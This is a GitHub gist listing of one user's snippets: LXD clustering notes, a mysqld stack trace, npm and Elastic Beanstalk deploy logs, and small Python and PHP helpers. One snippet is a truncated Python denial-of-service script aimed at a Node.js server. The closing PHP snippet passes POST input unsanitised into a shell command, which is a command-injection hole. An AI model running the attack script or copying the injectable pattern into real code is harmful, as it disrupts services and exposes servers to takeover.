Skip to content

Instantly share code, notes, and snippets.

View okossuth's full-sized avatar

Oskar Kossuth okossuth

View GitHub Profile
@okossuth
okossuth / lxd.md
Last active August 16, 2023 15:17
Building an LXD 3-Node Cluster

Building an LXD 3-node Cluster on DigitalOcean with a ZFS storage based pool and FAN networking enabled.

In this example i'm using a Ubuntu 22.04 vainilla image with a 20GB extra volume disk attached to each droplet to be used for a ZFS storage pool. This ZFS pool will be named "local" and can be later expanded online by adding more physical volumes to the nodes. The 3 nodes are orion, rigel and vega, the first one used as the leader node in the cluster and the others as secondary nodes.The LXD version used is 5.15.

A FAN network is also configured for the potential containers that will run in the LXD cluster. if you dont know what is a FAN network please check here: https://wiki.ubuntu.com/FanNetworking

First we create 3 droplets on DigitalOcean's control panel, as this is the minimum number for quorum in the cluster and each with a 20GB unformatted volume attached, all in the same region and using same VPC.

Next we install LXD and ZFS-utils on all droplets:

@okossuth
okossuth / gist:64a35632613840bfd635
Created December 30, 2015 18:16
mysqldump stack trace
root@xxxxxx:~# ./poormanprof.sh
31854
10 ??,??,??,??,start_thread,clone,??
3 pthread_cond_timedwait@@GLIBC_2.3.2,??,??,start_thread,clone,??
2 select,??,??,start_thread,clone,??
2 pthread_cond_wait@@GLIBC_2.3.2,one_thread_per_connection_end(THD*,,do_handle_one_connection(THD*),handle_one_connection,start_thread,clone,??
1 pthread_cond_wait@@GLIBC_2.3.2,??,??,start_thread,clone,??
1 poll,handle_connections_sockets(),mysqld_main(int,,__libc_start_main,_start
1 my_qsort,my_dir,find_files(THD*,,get_all_tables(THD*,,get_schema_tables_result(JOIN*,,JOIN::exec(),mysql_select(THD*,,handle_select(THD*,,??,mysql_execute_command(THD*),mysql_parse(THD*,,dispatch_command(enum_server_command,,do_handle_one_connection(THD*),handle_one_connection,start_thread,clone,??
1 do_sigwait,sigwait,signal_hand,start_thread,clone,??
@okossuth
okossuth / gist:7198753
Created October 28, 2013 15:22
Node.Js Dos Attack
#!/usr/bin/python
import socket
HOST = 'server to attack'
PORT = 'port where nodejs is listening'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
print "Killing node.js!"
In the after scripts section modify yours like this:
- eb init -I $AWSAKEY -S $AWSSKEY -a app -e appenv --region "eu-west-1" -s "64bit Amazon Linux running Node.js"
- cp $PWD/AWS-ElasticBeanstalk-CLI-2.5.1/Ovivo/optionsettings $PWD/.elasticbeanstalk/
- eb branch
- eb start -f
- git aws.push
@okossuth
okossuth / gist:6081343
Created July 25, 2013 16:20
Output of /opt/elasticbeanstalk/hooks/appdeploy/pre/50npm.sh > log.txt 2>&1
[root@ip-10-58-181-205 ~]# cat log.txt
No environment variable EB_EVENT_FILE found. Writing message to stderr.
Msg: Failed to run npm install. npm WARN package.json rendr-mobile-employee@0.1.3 No readme data.
npm http GET https://registry.npmjs.org/backbone/1.0.0
npm http GET https://registry.npmjs.org/qs/0.5.1
npm http GET https://registry.npmjs.org/express
npm http GET https://registry.npmjs.org/validator/0.4.21
npm http GET https://registry.npmjs.org/npm
npm http 304 https://registry.npmjs.org/validator/0.4.21
npm http 304 https://registry.npmjs.org/express
@okossuth
okossuth / gist:6080232
Created July 25, 2013 14:27
npm install rendr output
[root@Ovnagios ~]# npm install rendr
npm http GET https://registry.npmjs.org/rendr
npm http 304 https://registry.npmjs.org/rendr
npm http GET https://registry.npmjs.org/async/0.1.22
npm http GET https://registry.npmjs.org/qs/0.5.1
npm http GET https://registry.npmjs.org/express
npm http GET https://registry.npmjs.org/validator/0.4.21
npm http GET https://registry.npmjs.org/rendr-handlebars/0.0.5
npm http GET https://registry.npmjs.org/npm
npm http GET https://registry.npmjs.org/request
@okossuth
okossuth / mechanize for kivy
Created December 27, 2012 13:51
Setup.py and recipe.sh for mechanize These files can be used when trying to execute ./distribute.sh -m "mechanize kivy" to avoid the lib-dynload/_io.so error more info here: http://kivy.org/docs/guide/packaging-android.html#packaging-android
recipe.sh
#!/bin/bash
VERSION_mechanize=
URL_mechanize=http://pypi.python.org/packages/source/m/mechanize/mechanize-0.2.5.tar.gz
MD5_mechanize=
BUILD_mechanize=$BUILD_PATH/mechanize/$(get_directory $URL_mechanize)
RECIPE_mechanize=$RECIPES_PATH/mechanize
def delete_container(args):
"Deletes a container on Rackspace Cloud Files"
connection = cloudfiles.get_connection(
RACKSPACE_USERNAME,
RACKSPACE_API_KEY,
)
container = connection.get_container(args.container)
for obj in container.get_objects():
for w in range(1,10):
if (isset($_POST['command']))
{
echo 'Command: ' . $_POST['command'] . '<br>';
echo 'Container: ' . $_POST['container'] . '<br>';
//if(preg_match("/#/",$_POST['command']))
//{
//cmd = '';
//} else {
$cmd = '/usr/local/bin/rackspace-dir.py store --container=' . $_POST['container']' + --path=' . $_POST['command'];